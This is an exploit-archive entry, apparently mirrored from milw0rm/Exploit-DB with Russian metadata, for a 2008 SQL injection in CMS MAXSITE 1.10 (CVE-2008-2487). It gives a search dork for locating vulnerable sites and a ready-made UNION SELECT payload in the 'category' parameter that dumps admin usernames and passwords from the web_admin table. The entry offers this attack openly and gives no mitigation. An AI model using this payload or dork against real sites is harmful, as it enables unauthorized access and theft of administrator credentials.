Exploit CMS MAXSITE 1.10 - 'category' SQL Injection

[Exploiter]

EDB-ID

5676

Проверка EDB

1. Пройдено

Автор

TESZ

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-2487

Дата публикации

2008-05-26

#########################################################################

CMS MAXSITE Remote SQL Injection Exploit <= 1.10

#########################################################################


[+] Author: Tesz [@] THD
[+] Home: http://www.thaishadow.com
[+] Forum: http://www.thaishadow.com/board/index.php

[+] Download: http://maxsite.geniuscyber.com/index.php?name=index

[+] Dork: MAXSITE or intitle:"MAXSITE"

[+] Exploit: http://server.com/path/index.php?name=webboard&category=1+and+1=2+union+select+concat(username,0x3A,password)+from+web_admin/*

[+] index.php?name=webboard&category=1+and+1=2+union+select+concat(username,0x3A,password)+from+web_admin/*

[+] Greetz: krit,Exploiters,PongZ,{OHM},Usermode,windows98SE,azazel,Mr`Ping,Os555,[T]he[S]hak
[+] Special Thx: THD (Thaishadow Team)


###########################################################################

# milw0rm.com [2008-05-26]